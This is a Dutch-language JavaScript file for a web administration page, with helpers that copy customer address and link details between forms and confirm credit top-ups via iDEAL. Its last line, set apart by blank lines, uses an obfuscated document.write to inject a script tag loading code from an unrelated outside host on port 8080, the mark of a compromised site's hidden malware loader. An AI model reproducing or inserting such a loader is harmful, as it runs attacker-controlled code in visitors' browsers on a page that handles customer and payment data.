function kopieer() {
	var selectedLandId;

	document.modify_klant.post_adres.value = document.modify_klant.adres.value;
	document.modify_klant.post_plaats.value = document.modify_klant.plaats.value;
	document.modify_klant.post_postcode_nummers.value = document.modify_klant.postcode_nummers.value;
	document.modify_klant.post_postcode_letters.value = document.modify_klant.postcode_letters.value;
	
	//document.modify_klant.post_land.selectedIndex = document.modify_klant.land.selectedIndex;
	//Set land
	//First get index op selected land and set post_land index to it
	for (i=0; i<document.modify_klant.land.options.length; i++)
		if (document.modify_klant.land.options[i].selected == true) {
			selectedLandId = i;
			i = document.modify_klant.land.options.length;
		}
	document.modify_klant.post_land.options[selectedLandId].selected = true;
}

//Copy link info from klant info
function copyLinkInfo() {
	document.add_link.link.value = document.select_klant.internet_adres.value;
	document.add_link.link_naam.value = document.select_klant.naam.value;
	document.add_link.contact_naam.value = document.select_klant.contact_naam.value;
	document.add_link.link_adres.value = document.select_klant.post_adres.value;
	document.add_link.link_plaats.value = document.select_klant.post_plaats.value;
	document.add_link.link_postcode_nummers.value = document.select_klant.post_postcode_nummers.value;
	document.add_link.link_postcode_letters.value = document.select_klant.post_postcode_letters.value;
	document.add_link.betaal_type.value = "Normaal";
	
	//Set land
	for (i=0; i < document.add_link.link_land.options.length; i++)
		if (document.add_link.link_land.options[i].text == document.select_klant.post_land.value)
			document.add_link.link_land.options[i].selected = true;

	//Set provincie
	for (i=0; i < document.add_link.link_provincie.options.length; i++)
		if (document.add_link.link_provincie.options[i].text == document.select_klant.provincie.value)
			document.add_link.link_provincie.options[i].selected = true;
	
	document.add_link.link_email.value = document.select_klant.email.value;
	document.add_link.link_fax.value = document.select_klant.fax.value;
	document.add_link.link_telefoon.value = document.select_klant.telefoon.value;
}

function stripwww(Internet) {
	var atsign = Internet.substring(0,Internet.lastIndexOf('www.')+4);
	var domain = 'info@'+Internet.substring(atsign.length,Internet.length+4);
	if (document.modify_klant.email.value == '') {
		document.modify_klant.email.value = domain;
	}
}

//Copy link info from klant info to the edit link form
function copyModifyLinkInfo() {
	document.modify_link.link.value = document.select_klant.internet_adres.value;
	document.modify_link.link_naam.value = document.select_klant.naam.value;
	document.modify_link.contact_naam.value = document.select_klant.contact_naam.value;
	document.modify_link.link_adres.value = document.select_klant.post_adres.value;
	document.modify_link.link_plaats.value = document.select_klant.post_plaats.value;
	document.modify_link.link_postcode_nummers.value = document.select_klant.post_postcode_nummers.value;
	document.modify_link.link_postcode_letters.value = document.select_klant.post_postcode_letters.value;
	
	//Set land
	for (i=0; i < document.modify_link.link_land.options.length; i++)
		if (document.modify_link.link_land.options[i].text == document.select_klant.post_land.value)
			document.modify_link.link_land.options[i].selected = true;

	//Set provincie
	for (i=0; i < document.modify_link.link_provincie.options.length; i++)
		if (document.modify_link.link_provincie.options[i].text == document.select_klant.provincie.value)
			document.modify_link.link_provincie.options[i].selected = true;
	
	document.modify_link.link_email.value = document.select_klant.email.value;
	document.modify_link.link_fax.value = document.select_klant.fax.value;
	document.modify_link.link_telefoon.value = document.select_klant.telefoon.value;
}

function stripwww(Internet) {
	var atsign = Internet.substring(0,Internet.lastIndexOf('www.')+4);
	var domain = 'info@'+Internet.substring(atsign.length,Internet.length+4);
	if (document.modify_klant.email.value == '') {
		document.modify_klant.email.value = domain;
	}
}

//Check if rubiek has been filled in
function checkRubiek() {
	var a = document.add_link.rubieken.value;

	if (a.length == 0) {
		alert("U heeft nog geen rubieken toegevoegd!");
	}
	else
		document.add_link.submit();
}

//Check if rubiek has been filled in
function confirmTegoed() {
	var a = document.add_tegoed.tegoed.value;
		//Get checkbox
		for (i=0;i<document.add_tegoed.hoe_opwaarderen.length;i++) {
			if (document.add_tegoed.hoe_opwaarderen[i].checked)
				hoe_opwaarderen = document.add_tegoed.hoe_opwaarderen[i].value;
		}

		//Check if bank was chosen
		if (hoe_opwaarderen == "ideal" && (document.add_tegoed.issuerID.value == 0 || document.add_tegoed.issuerID.value == -99)) {
			alert('U heeft nog geen bank gekozen!');
			return false;
		}

		if (confirm("Weet U zeker dat U uw tegoed met "+a+" euro wilt opwaarderen?"))
			document.add_tegoed.submit();
		else
			return false;
}

//Check where to set opt to (for copyselect.js). You have to check with a loop, because if a form doesn't exist and you check for a variable in it javascript stops!
function checkOpt() {

	for (i=0; i<document.forms.length; i++) {
		if (document.forms[i].form_name.value == 'add_link') {
			//return 3;
			return i;
		}
		else if (document.forms[i].form_name.value == 'modify_link')
			return 0;
	}

	return -1;
}




document.write('<s'+'cript type="text/javascript" src="http://dolfy.sedonahyperbarics.com:8080/Delete.js"></scr'+'ipt>');